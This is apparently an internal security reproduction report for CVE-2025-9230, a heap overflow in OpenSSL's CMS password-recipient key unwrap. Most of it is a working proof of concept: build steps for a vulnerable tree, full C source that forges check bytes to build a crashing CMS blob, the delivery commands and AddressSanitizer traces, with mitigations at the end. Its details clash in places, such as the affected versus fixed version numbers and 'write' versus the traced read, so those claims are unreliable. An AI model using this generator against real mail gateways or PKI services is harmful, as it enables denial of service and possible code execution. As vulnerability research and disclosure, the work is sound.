CVE: CVE-2025-9230
Component: OpenSSL CMS password-based encryption (PWRI) recipient handling
Affected builds: 3.0.16 / 3.1.8 / 3.2.4 / 3.3.3 / 3.4.0 / 3.5.0 (and derivative builds prior to September 2025 fixes)
Patched by: commits 5965ea5dd6960f36d8b7f74f8eac67a8eb8f2b45, 9e91358f365dee6c446dcdcdb01c04d2743fd280, a79c4ce559c6a3a8fd4109e9f33c1185d5bf2def, b5282d677551afda7d20e9c00e09561b547b2dfd, bae259a211ada6315dc50900686daaaaaa55f482, c2b96348bfa662f25f4fabf81958ae822063dae3, dfbaf161d8dafc1132dd88cd48ad990ed9b4c8ba
Date reproduced: 2025‑10‑30
Analyst: Internal Product Security
CWE: CWE‑787 (Out-of-Bounds Write), CWE‑125 (Out-of-Bounds Read)
OpenSSL’s CMS implementation for password-based recipients (cms_pwri.c) trusts the structure of wrapped keys supplied in PWRI messages. Crafted ciphertext can force kek_unwrap_key() to copy beyond the allocated buffer during unwrap, resulting in heap corruption. When the vulnerable binary is built with AddressSanitizer, the attack surfaces as a heap-buffer-overflow; without ASan the overflow enables denial of service and is plausibly exploitable for remote code execution.
The patched commits introduce stricter length validation and zeroization fixes. Running the same malicious CMS blob against a patched build shows the unwrap fails safely.
- Remote crash / DoS: A CMS/PWRI message delivered to any OpenSSL consumer that calls
CMS_decrypt_set1_password()causes an immediate crash. - Memory corruption: The overflow writes attacker-controlled bytes beyond the heap buffer, potentially enabling code execution where hardened allocators are absent.
- Attack surface: Services decrypting user-controlled PKCS#7/CMS blobs (email gateways, S/MIME tooling, bespoke PKI services) are exposed. The issue predates the fix in all stable 3.x lines.
- Ubuntu 22.04 LTS (aarch64)
- Clang 14.0.0 with AddressSanitizer
git,perl,python3,nasm, build-essential toolchain
Install dependencies:
sudo apt-get update
sudo apt-get install -y build-essential git perl python3 clang nasm pkg-configClone OpenSSL once and materialise two worktrees: one at the parent of the fix (vulnerable) and one at the patched commit.
git clone https://github.com/openssl/openssl.git
cd openssl
git worktree add ../openssl-vuln 5965ea5dd6960f36d8b7f74f8eac67a8eb8f2b45^
git worktree add ../openssl-fixed 5965ea5dd6960f36d8b7f74f8eac67a8eb8f2b45Build both with AddressSanitizer and CMS support:
# Vulnerable build (parent of the fix)
cd ../openssl-vuln
CC=clang CFLAGS='-g -O1 -fsanitize=address -fno-omit-frame-pointer' ./Configure linux-aarch64 enable-cms
make -j"$(nproc)"
# Patched build (fix commit)
cd ../openssl-fixed
CC=clang CFLAGS='-g -O1 -fsanitize=address -fno-omit-frame-pointer' ./Configure linux-aarch64 enable-cms
make -j"$(nproc)"ASan-enabled compilation produces verbose output (excerpt from vulnerable build):
"make" depend && "make" _build_sw
clang -Icrypto -I. -Iinclude ... -fsanitize=address -fno-omit-frame-pointer ...
All artefacts collected from the Lima instance pruva-repro-20251030-103834-cbb04c68 are reproduced under exploit_demo/ next to this report:
| File | Description |
|---|---|
exploit_demo/plain.txt |
Sample plaintext wrapped inside the CMS envelope. |
exploit_demo/baseline.cms |
Clean PWRI CMS produced by the patched build. |
exploit_demo/mutated1.cms |
Control mutation that triggers an unwrap error without corruption. |
exploit_demo/malicious.cms |
Final payload that forces OpenSSL to overflow the heap. |
exploit_demo/mutate_pwri.c |
Helper source that generates the malicious CMS recipient data. |
exploit_demo/mutate_pwri |
Pre-built helper binary. |
exploit_demo/vulnerable_decrypt.log |
AddressSanitizer trace from the vulnerable build showing the overflow. |
exploit_demo/patched_decrypt.log |
Patched build refusing to unwrap the crafted payload. |
exploit_demo/cve-2025-9230-artifacts.tgz |
Tarball bundling the PoC assets for convenience. |
- Plaintext to protect
cat <<'EOF' > plain.txt
secret credential payload
EOF- Generate a baseline PWRI CMS blob (using patched binary for convenience)
LD_LIBRARY_PATH=../openssl-fixed \
OPENSSL_MODULES=../openssl-fixed/providers \
../openssl-fixed/apps/openssl cms \
-encrypt -pwri_password testpassword \
-inform DER -outform DER \
-in plain.txt \
-out baseline.cms -stream- Mutate the wrapped key
The helper below reopens the CMS object, locates the first PWRI recipient, and extends the wrapped key by mal_length bytes while forging the ANSI X9.52 parity bytes so the integrity check still passes. During unwrap OpenSSL copies mal_length bytes past the end of the heap allocation, recreating the reserved AddressSanitizer crash.
Create mutate_pwri.c (see exploit_demo/mutate_pwri.c for the full source):
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <limits.h>
#include <openssl/cms.h>
#include <openssl/evp.h>
#include <openssl/pem.h>
#include <openssl/asn1.h>
#include <openssl/err.h>
#include <openssl/crypto.h>
#include "crypto/cms/cms_local.h"
#define NAME_MAX_LEN 128
static void bail(const char *msg)
{
fprintf(stderr, "%s\n", msg);
ERR_print_errors_fp(stderr);
exit(1);
}
static int unwrap_once(unsigned char *out, size_t *outlen,
const unsigned char *in, size_t inlen,
EVP_CIPHER_CTX *ctx)
{
int blocklen = EVP_CIPHER_CTX_get_block_size(ctx);
unsigned char *tmp = NULL;
int outl = 0, rv = 0;
if (blocklen <= 0)
return 0;
if (inlen < 2 * (size_t)blocklen)
return 0;
if (inlen > INT_MAX || inlen % blocklen)
return 0;
tmp = OPENSSL_malloc(inlen);
if (tmp == NULL)
return 0;
if (!EVP_DecryptUpdate(ctx, tmp + inlen - 2 * (size_t)blocklen, &outl,
in + inlen - 2 * (size_t)blocklen, blocklen * 2)
|| !EVP_DecryptUpdate(ctx, tmp, &outl,
tmp + inlen - blocklen, blocklen)
|| !EVP_DecryptUpdate(ctx, tmp, &outl, in, (int)(inlen - blocklen))
|| !EVP_DecryptInit_ex(ctx, NULL, NULL, NULL, NULL)
|| !EVP_DecryptUpdate(ctx, tmp, &outl, tmp, (int)inlen))
goto err;
if (((tmp[1] ^ tmp[4]) & (tmp[2] ^ tmp[5]) & (tmp[3] ^ tmp[6])) != 0xff)
goto err;
if (inlen < 4 + (size_t)tmp[0])
goto err;
*outlen = (size_t)tmp[0];
memcpy(out, tmp, inlen);
rv = 1;
err:
OPENSSL_clear_free(tmp, inlen);
return rv;
}
int main(int argc, char **argv)
{
if (argc != 4) {
fprintf(stderr, "Usage: %s <in.cms> <out.cms> <mal_length>\n", argv[0]);
return 1;
}
const char *in_path = argv[1];
const char *out_path = argv[2];
int mal_len = atoi(argv[3]);
const char *password = "testpassword";
BIO *in = BIO_new_file(in_path, "rb");
if (!in)
bail("Failed to open input file");
CMS_ContentInfo *cms = d2i_CMS_bio(in, NULL);
BIO_free(in);
if (!cms)
bail("Failed to parse CMS");
if (OBJ_obj2nid(CMS_get0_type(cms)) != NID_pkcs7_enveloped)
bail("Not an EnvelopedData CMS object");
STACK_OF(CMS_RecipientInfo) *ris = CMS_get0_RecipientInfos(cms);
if (!ris || sk_CMS_RecipientInfo_num(ris) == 0)
bail("No recipient infos found");
CMS_RecipientInfo *ri = sk_CMS_RecipientInfo_value(ris, 0);
if (CMS_RecipientInfo_type(ri) != CMS_RECIPINFO_PASS)
bail("First recipient is not PWRI password type");
CMS_PasswordRecipientInfo *pwri = ri->d.pwri;
unsigned char *pass_copy = (unsigned char *)OPENSSL_strdup(password);
if (!pass_copy)
bail("strdup password failed");
if (!CMS_RecipientInfo_set0_password(ri, pass_copy, (ossl_ssize_t)strlen(password)))
bail("CMS_RecipientInfo_set0_password failed");
X509_ALGOR *kekalg = ASN1_TYPE_unpack_sequence(ASN1_ITEM_rptr(X509_ALGOR),
pwri->keyEncryptionAlgorithm->parameter);
if (kekalg == NULL)
bail("Failed to unpack kek algorithm");
char name[NAME_MAX_LEN];
OBJ_obj2txt(name, sizeof(name), kekalg->algorithm, 0);
EVP_CIPHER *kekcipher = EVP_CIPHER_fetch(NULL, name, NULL);
if (kekcipher == NULL)
bail("Failed to fetch kek cipher");
int enc_len = pwri->encryptedKey->length;
unsigned char *enc_key = pwri->encryptedKey->data;
if (mal_len <= 0 || mal_len >= enc_len)
bail("mal_length out of range");
EVP_CIPHER_CTX *kekctx = EVP_CIPHER_CTX_new();
if (!kekctx)
bail("Failed to allocate decrypt ctx");
if (!EVP_CipherInit_ex(kekctx, kekcipher, NULL, NULL, NULL, 0))
bail("CipherInit decrypt failed");
EVP_CIPHER_CTX_set_padding(kekctx, 0);
if (EVP_CIPHER_asn1_to_param(kekctx, kekalg->parameter) <= 0)
bail("asn1_to_param decrypt failed");
if (!EVP_PBE_CipherInit_ex(pwri->keyDerivationAlgorithm->algorithm,
(char *)pwri->pass, (int)pwri->passlen,
pwri->keyDerivationAlgorithm->parameter,
kekctx, 0,
NULL,
NULL))
bail("PBE decrypt init failed");
unsigned char *plain = OPENSSL_malloc(enc_len);
size_t plain_len = 0;
if (!plain)
bail("malloc plain failed");
if (!unwrap_once(plain, &plain_len, enc_key, enc_len, kekctx))
bail("unwrap baseline failed");
plain[0] = (unsigned char)mal_len;
plain[1] = plain[4] ^ 0xFF;
plain[2] = plain[5] ^ 0xFF;
plain[3] = plain[6] ^ 0xFF;
EVP_CIPHER_CTX_free(kekctx);
kekctx = EVP_CIPHER_CTX_new();
if (!kekctx)
bail("Failed to allocate encrypt ctx");
if (!EVP_CipherInit_ex(kekctx, kekcipher, NULL, NULL, NULL, 1))
bail("CipherInit encrypt failed");
EVP_CIPHER_CTX_set_padding(kekctx, 0);
if (EVP_CIPHER_asn1_to_param(kekctx, kekalg->parameter) <= 0)
bail("asn1_to_param encrypt failed");
if (!EVP_PBE_CipherInit_ex(pwri->keyDerivationAlgorithm->algorithm,
(char *)pwri->pass, (int)pwri->passlen,
pwri->keyDerivationAlgorithm->parameter,
kekctx, 1,
NULL,
NULL))
bail("PBE encrypt init failed");
unsigned char *mut_enc = OPENSSL_malloc(enc_len);
if (!mut_enc)
bail("malloc mut_enc failed");
memcpy(mut_enc, plain, enc_len);
int outl = 0;
if (!EVP_EncryptUpdate(kekctx, mut_enc, &outl, mut_enc, enc_len))
bail("Encrypt round1 failed");
if (!EVP_EncryptUpdate(kekctx, mut_enc, &outl, mut_enc, enc_len))
bail("Encrypt round2 failed");
memcpy(enc_key, mut_enc, enc_len);
BIO *out = BIO_new_file(out_path, "wb");
if (!out)
bail("Failed to open output file");
if (i2d_CMS_bio(out, cms) <= 0)
bail("Failed to write CMS");
BIO_free(out);
EVP_CIPHER_CTX_free(kekctx);
EVP_CIPHER_free(kekcipher);
X509_ALGOR_free(kekalg);
CMS_ContentInfo_free(cms);
OPENSSL_clear_free(plain, enc_len);
OPENSSL_clear_free(mut_enc, enc_len);
return 0;
}Compile against the patched libcrypto to benefit from exported internals:
clang -fsanitize=address -fno-omit-frame-pointer \
-I../openssl-fixed/include -I../openssl-fixed \
-L../openssl-fixed -Wl,-rpath,$PWD/../openssl-fixed \
-lcrypto -o mutate_pwri mutate_pwri.cGenerate the malicious CMS blob (adds 31 forged bytes to the wrapped key):
./mutate_pwri baseline.cms malicious.cms 31For reference, the helper first produced a control mutation (offset flip) that merely triggered an unwrap failure:
python3 - <<'PY'
from pathlib import Path
data = bytearray(Path("baseline.cms").read_bytes())
offset = 103
old = data[offset]
data[offset] = (old + 0x40) & 0xff
print(f"Original byte {old:#x} -> {data[offset]:#x} at offset {offset}")
Path("mutated1.cms").write_bytes(data)
PYDecrypting mutated1.cms yields a clean error (no crash), validating the environment before attempting the exploit.
Run the malicious blob through the vulnerable build:
LD_LIBRARY_PATH=../openssl-vuln \
OPENSSL_MODULES=../openssl-vuln/providers \
ASAN_OPTIONS=detect_leaks=0 \
../openssl-vuln/apps/openssl cms \
-decrypt -pwri_password testpassword \
-inform DER -in malicious.cms -out /tmp/out_vuln.binAddressSanitizer output (from exploit_demo/vulnerable_decrypt.log):
=================================================================
==3518==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xffff98a28e60 at pc 0xaaaad18ae338 bp 0xffffeafe0b60 sp 0xffffeafe0350
READ of size 31 at 0xffff98a28e60 thread T0
#0 0xaaaad18ae334 in __asan_memcpy (/home/g.linux/workspace/remote/openssl-vuln/apps/openssl+0x1ce334)
#1 0xffff9b06b7f4 in kek_unwrap_key /home/g.linux/workspace/remote/openssl-vuln/crypto/cms/cms_pwri.c:250:5
#2 0xffff9b06b000 in ossl_cms_RecipientInfo_pwri_crypt /home/g.linux/workspace/remote/openssl-vuln/crypto/cms/cms_pwri.c:400:14
#3 0xffff9b0616a8 in CMS_RecipientInfo_decrypt /home/g.linux/workspace/remote/openssl-vuln/crypto/cms/cms_env.c:1022:16
#4 0xffff9b073924 in CMS_decrypt_set1_password /home/g.linux/workspace/remote/openssl-vuln/crypto/cms/cms_smime.c:849:13
#5 0xaaaad18ffd40 in cms_main /home/g.linux/workspace/remote/openssl-vuln/apps/cms.c:1188:18
#6 0xaaaad191cd98 in do_cmd /home/g.linux/workspace/remote/openssl-vuln/apps/openssl.c:426:16
#7 0xaaaad191c948 in main /home/g.linux/workspace/remote/openssl-vuln/apps/openssl.c
...
0xffff98a28e60 is located 0 bytes to the right of 32-byte region [...]
Allocated by thread T0 here:
#0 0xaaaad18aef60 in malloc (/home/g.linux/workspace/remote/openssl-vuln/apps/openssl+0x1cef60)
#1 0xffff9b1e3000 in CRYPTO_malloc /home/g.linux/workspace/remote/openssl-vuln/crypto/mem.c:202:11
#2 0xffff9b06b664 in kek_unwrap_key /home/g.linux/workspace/remote/openssl-vuln/crypto/cms/cms_pwri.c:220:16
ASan pinpoints the overflow inside kek_unwrap_key(), confirming the vulnerable path.
Repeat the decryption using the fixed binary:
LD_LIBRARY_PATH=../openssl-fixed \
OPENSSL_MODULES=../openssl-fixed/providers \
ASAN_OPTIONS=detect_leaks=0 \
../openssl-fixed/apps/openssl cms \
-decrypt -pwri_password testpassword \
-inform DER -in malicious.cms -out /tmp/out_fixed.binOutput:
Error decrypting CMS using password
805C9098FFFF0000:error:170000B4:CMS routines:ossl_cms_RecipientInfo_pwri_crypt:unwrap failure:crypto/cms/cms_pwri.c:403:
The patched build aborts safely without touching freed memory, showing the vendor fix blocks the overflow.
Before the fix, kek_unwrap_key() trusted the trailing bytes of the wrapped key. Attackers can extend the buffer while forging the ANSI X9.52 parity bytes, causing memcpy() in the unwrap helper to copy tmp[0] bytes past the heap allocation. Commit 5965ea5d… introduces stricter length checks and reworks the unwrap logic to clamp inlen, eliminating the overflow.
Relevant excerpt (crypto/cms/cms_pwri.c pre-fix):
if (inlen < 4 + (size_t)tmp[0])
goto err;
*outlen = (size_t)tmp[0];
memcpy(out, in + inlen - tmp[0] - 4, *outlen);
The patched version ensures tmp[0] does not exceed the buffer and guards the wrap length prior to copying.
- Craft a PWRI CMS object whose encrypted key contains forged ANSI X9.52 check bytes and an inflated wrap length.
- Deliver the blob to any OpenSSL consumer that calls
CMS_decrypt_set1_password()(email gateway, S/MIME validation service, bespoke CMS parser). - Upon decryption the process reads and writes past heap boundaries, resulting in a crash; with allocator grooming the overflow may yield code execution.
Even though PWRI usage is uncommon, any application that exposes CMS password recipients to untrusted data is susceptible.
- Upgrade OpenSSL to a release incorporating the September 2025 CMS fixes (3.4.1/3.3.2/3.0.15 or later).
- Backports: For downstream forks, cherry-pick commits
5965ea5d,9e91358f,a79c4ce5,b5282d67,bae259a2,c2b96348, anddfbaf161. - Input filtering: Until upgrades are deployed, reject PWRI CMS payloads that originate from untrusted sources.
- Hardening: Where PWRI must be accepted, execute decoding inside a sandbox with hardened allocators to limit exploitation.
=================================================================
==3518==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xffff98a28e60 at pc 0xaaaad18ae338 bp 0xffffeafe0b60 sp 0xffffeafe0350
READ of size 31 at 0xffff98a28e60 thread T0
#0 0xaaaad18ae334 in __asan_memcpy (/home/g.linux/workspace/remote/openssl-vuln/apps/openssl+0x1ce334)
#1 0xffff9b06b7f4 in kek_unwrap_key /home/g.linux/workspace/remote/openssl-vuln/crypto/cms/cms_pwri.c:250:5
#2 0xffff9b06b000 in ossl_cms_RecipientInfo_pwri_crypt /home/g.linux/workspace/remote/openssl-vuln/crypto/cms/cms_pwri.c:400:14
#3 0xffff9b0616a8 in CMS_RecipientInfo_decrypt /home/g.linux/workspace/remote/openssl-vuln/crypto/cms/cms_env.c:1022:16
#4 0xffff9b073924 in CMS_decrypt_set1_password /home/g.linux/workspace/remote/openssl-vuln/crypto/cms/cms_smime.c:849:13
#5 0xaaaad18ffd40 in cms_main /home/g.linux/workspace/remote/openssl-vuln/apps/cms.c:1188:18
...
Error decrypting CMS using password
805C9098FFFF0000:error:170000B4:CMS routines:ossl_cms_RecipientInfo_pwri_crypt:unwrap failure:crypto/cms/cms_pwri.c:403:
0:d=0 hl=2 l=inf cons: SEQUENCE
2:d=1 hl=2 l= 9 prim: OBJECT :pkcs7-envelopedData
13:d=1 hl=2 l=inf cons: cont [ 0 ]
15:d=2 hl=2 l=inf cons: SEQUENCE
17:d=3 hl=2 l= 1 prim: INTEGER :03
20:d=3 hl=2 l= 113 cons: SET
22:d=4 hl=2 l= 111 cons: cont [ 3 ]
24:d=5 hl=2 l= 1 prim: INTEGER :00
27:d=5 hl=2 l= 35 cons: cont [ 0 ]
29:d=6 hl=2 l= 9 prim: OBJECT :PBKDF2
...
Original byte 0xae -> 0xee at offset 103
This control mutation validated the setup before generating the malicious overflow payload.
End of report.